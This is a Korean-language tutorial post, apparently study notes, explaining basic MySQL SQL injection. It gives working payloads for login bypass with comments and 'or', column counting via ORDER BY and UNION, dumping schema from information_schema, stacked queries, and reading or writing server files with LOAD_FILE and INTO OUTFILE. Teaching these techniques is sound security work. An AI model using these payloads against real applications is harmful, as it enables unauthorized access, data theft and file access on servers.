Post

Basic SQL injection

Note
  • 마지막에 짝이 안맞는 '가 있으면 query가 실행되지 않는다.
    1. 짝을 맞춰주거나
    2. 주석처리 해주거나
    3. escape 해주어야 한다.
  • SELECT가 아니라 INSERT, UPDATE, DELETE 등이어도 injection 가능하다. 단, UPDATE내부에 sub query로 sql SELECT를 사용할 때 UPDATE대상 database와 sql SELECT대상 database가 같다면 아무것도 조회되지 않는다.
&& ||
  • AND / OR는 공백 넣어주어야 하고, && / ||는 공백 없어도 된다.
  • 공백이 없어도 '로 감싸면 문자열로 인식하기 때문에 ''or''같이 사용하는 것은 가능하다. 이 외에 or1같이 쓰면 에러난다.
  • 숫자형 변수는 WHERE절에서 ` ‘로 감싸지 않기 때문에, 를 써주지 않아도 된다. 이 때 ‘0’처럼 감싸서 넘겨도 받는게 숫자형이면 숫자형 0`으로 인식한다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
select \* from sqlinj\_test where no=1 || 0;
no=1 row

  

select \* from sqlinj\_test where no=3 || 0;
Empty set (0.00 sec)    no=3 entry 없음.

  

SELECT \* FROM sqlinj\_test WHERE no=3 or 1;
all rows

  

SELECT \* FROM sqlinj\_test WHERE no=3 or 9999;
all rows

SQL은 전체 row에서 조건에 맞는 row들만 추려나가는 방식으로 동작한다.

아래 설명은 n이 완전한 True/False일 때 라는 점에 유의.

OR ||
no=... or n에서
n == True이면 WHERE True (참일 때는 참으로 반환되는 rows가 추가된다고 생각.)
n == False이면 WHERE no=... (거짓일 때는 거짓인 부분이 없다고 생각.)
이 처럼 A or B는 A와 B 각각을 조건으로 실행한 query의 결과의 합집합 을 반환한다고 생각하는 것이 좋다.

AND &&
no=... and n에서
n == True이면 WHERE no=...
n == False이면 WHERE False
이 처럼 A and B는 A와 B 각각을 조건으로 실행한 query의 결과의 교집합 만 반환한다고 생각하는 것이 좋다.

Basic

1
$select\_sql = "SELECT \* FROM blind\_test WHERE id= '$id' and pw = '$pw'";

다음과 같은 쿼리문에 대해서, id로 umbum'#을 적어 보내면, 다음과 같이 출력된다. * 그냥 umbum#을 적어 보내면 WHERE id= 'umbum#' and ...이 되어 #이 id의 일부로 인식된다.

1
2
3
4
5
6
7
8
9
SELECT \* FROM blind\_test WHERE id= 'umbum'#' and pw = ''
Array
(
[0] => Array
(
[0] => umbum
[1] => 123qwe
)
)

' or 1 #도 가능하며, 이 경우 pw와 id 순서가 어떻든 sql and가 먼저 실행되기 때문에 아래 경우 같은 결과가 나온다.

1
2
SELECT \* FROM blind\_test WHERE pw = ''or 1 #' and id= 'umbum'
SELECT \* FROM blind\_test WHERE pw = '' and id= '' or 1 #'
주석을 사용할 수 없을 때

query가 INSERT, UPDATE 문일 경우 뒤에 있는 column을 모두 주석 처리 해버리면 제대로 실행되지 않기 때문에 뒷부분을 제대로 채워주어야 하는 경우가 있다. 이러한 상황에서 query의 뒷부분을 예상할 수 없을 때는 주석을 사용하는 것 보다 그냥 'or'를 사용하는 것을 고려해보면 좋다.

1
SELECT \* FROM sqlinj\_test WHERE id= 'umbum'or'' and pw = '';

Classic SQL Injection

쿼리가 성공했을 때와 실패했을 때 를 구분할 수 있으면 사용할 수 있다. * 쿼리가 실패했을 때 꼭 Error를 반환할 필요는 없다. * Blind는 쿼리가 참일 때와 거짓일 때 를 구분할 수 있으면 사용할 수 있다.

query에서 요청하는 column 개수 파악하기

order by NN번째 column으로 정렬하라는 의미이다.

1
2
3
4
' order by 1 #
' order by 2 #
...
' order by N #    // Error or Fail

column 개수는 N-1개다.

UNION

query에 포함된 column 개수를 파악하는데 UNION을 사용할 수도 있다. * UNION으로 결합하는 두 SELECT의 column 개수는 동일해야만 한다는 점을 이용한다.

1
2
3
4
' union SELECT null #                // Error or Fail
' union SELECT null, null #          // Success
' union SELECT null, null, null #    // Error or Fail
' union SELECT 0, 0, 0 from tbl\_name --    // 쿼리에 따라 tbl\_name 적어줘야 하는 경우가 있음.

column 개수는 2개다.

DB leak 추가적인 tuple로 반환된다.

1
2
3
' union SELECT database(), version() #
' union SELECT table\_name, table\_schema FROM information\_schema.tables #
' union SELECT column\_name, column\_type FROM information\_schema.columns WHERE table\_name='sqlinj\_test' #
Stacked queries

;를 사용할 수 있다면 뒤에 새로운 쿼리를 붙여 실행할 수 있다. 특히 Declare variables를 우회 또는 동적 쿼리 실행에 이용할 수 있으므로 참고.

1
2
1; INSERT INTO ...
1; set @var=value    # Declare variables
LOAD_FILE()

서버 설정에 따라 안될 수도 있다.

1
' union SELECT null, LOAD\_FILE('/etc/hosts') #
INTO OUTFILE
1
INTO OUTFILE "output\_file\_path"
This post is licensed under CC BY 4.0 by the author.